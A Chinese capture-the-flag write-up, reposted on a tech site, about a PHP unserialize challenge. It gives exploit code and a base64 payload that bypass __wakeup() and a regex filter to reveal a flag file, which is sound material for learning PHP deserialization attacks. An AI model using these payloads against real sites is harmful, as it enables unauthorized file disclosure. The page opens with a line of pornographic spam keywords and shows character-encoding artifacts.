国产三级农村妇女在线,国产精品毛片a∨一区二区三区,国产乱子伦视频大全,国产精品色拉拉,国产欧美日韩一区二区三区,

首頁(yè) > 技術(shù) > IOS開發(fā)

php安全攻防世界unserialize函數(shù)反序列化示例詳解

IOS開發(fā) 2023-02-16 22:21:45

在這里插入圖片描述

步驟

首先打開題目,發(fā)現(xiàn)給了一段源碼:

在這里插入圖片描述

分析源碼,發(fā)現(xiàn)類里面有三個(gè)魔術(shù)方法:

__construct():構(gòu)造函數(shù),對(duì)類的變量進(jìn)行初始化,創(chuàng)建時(shí)自動(dòng)調(diào)用,用得到的參數(shù)覆蓋$file

__destruct():銷毀時(shí)調(diào)用,會(huì)顯示文件的代碼,這里要顯示fl4g.php

__wakeup():在進(jìn)行反序列化之前會(huì)調(diào)用,會(huì)把$file重置成index.php

正則表達(dá)式的含義:o或c開頭,冒號(hào),一個(gè)或多個(gè)數(shù)字,不區(qū)分大小寫

ok,分析完畢:我們要將序列化后的字符串進(jìn)行base64加密之后進(jìn)行g(shù)et傳參到var變量即可
但是這里我們可以看出需要繞過(guò)__wakeup()函數(shù)以及正則匹配,才能夠拿到flag

__wakeup()方法繞過(guò)方法:當(dāng)成員屬性的數(shù)目大于實(shí)際數(shù)目的時(shí)候即可繞過(guò)此方法

正則匹配我們可以使用+來(lái)進(jìn)行繞過(guò)

代碼:

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo("fl4g.php");// 傳入我們需要顯示的文件
$b = serialize($a);// 進(jìn)行序列化
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// 繞過(guò)正則匹配
$b = str_replace("1:{","2:{",$b);// 繞過(guò)__wakeup()方法

echo base64_encode($b);// 進(jìn)行base64編碼并輸出
?>

payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在這里插入圖片描述

成功拿到flag~

注意:這里有個(gè)坑,要是直接將序列化之后的字符串進(jìn)行手動(dòng)修改再去找在線網(wǎng)站進(jìn)行加密則會(huì)發(fā)現(xiàn)編碼之后和我們payload里的不太一樣

在這里插入圖片描述

這是因?yàn)閒ile變量為私有變量,所以序列化之后的字符串開頭和結(jié)尾各有一個(gè)空白字符,而我們?cè)趯?duì)序列化之后的字符串進(jìn)行輸出時(shí),瀏覽器則不顯示空字符,如圖:

在這里插入圖片描述

細(xì)心的朋友也會(huì)發(fā)現(xiàn)Demofile只有8個(gè)字符,而長(zhǎng)度卻顯示10。

所以正確的序列化字符串應(yīng)該是

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

而我們由于是使用php代碼直接進(jìn)行編碼的,全自動(dòng)化,自然不會(huì)漏掉空字符。

解釋一下php序列化字符串的格式:

首先對(duì)象類型分為以下幾種

a - array b - boolean
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

格式:對(duì)象類型:長(zhǎng)度:"類名":類中變量的個(gè)數(shù):{類型:長(zhǎng)度:"值";類型:長(zhǎng)度:"值";......}

總結(jié)

考察對(duì)php中魔術(shù)方法的熟悉程度,以及反序列化的應(yīng)用

以上就是攻防世界Web php unserialize正則表達(dá)式反序列化詳解的詳細(xì)內(nèi)容,更多關(guān)于php攻防世界unserialize正則表達(dá)式反序列化的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章!

TAg

加載中~

本網(wǎng)站LOGO受版權(quán)及商標(biāo)保護(hù),版權(quán)登記號(hào):國(guó)作登字-2022-F-10126915,未經(jīng)湖南木星科技官方許可,嚴(yán)禁使用。
Copyright ? 2012-2022 湖南木星科技有限公司(木星網(wǎng))版權(quán)所有
轉(zhuǎn)載內(nèi)容版權(quán)歸作者及來(lái)源網(wǎng)站所有,本站原創(chuàng)內(nèi)容轉(zhuǎn)載請(qǐng)注明來(lái)源,商業(yè)媒體及紙媒請(qǐng)先聯(lián)系:aishangyiwan@126.com

工信部備案號(hào):湘ICP備19012813號(hào)-5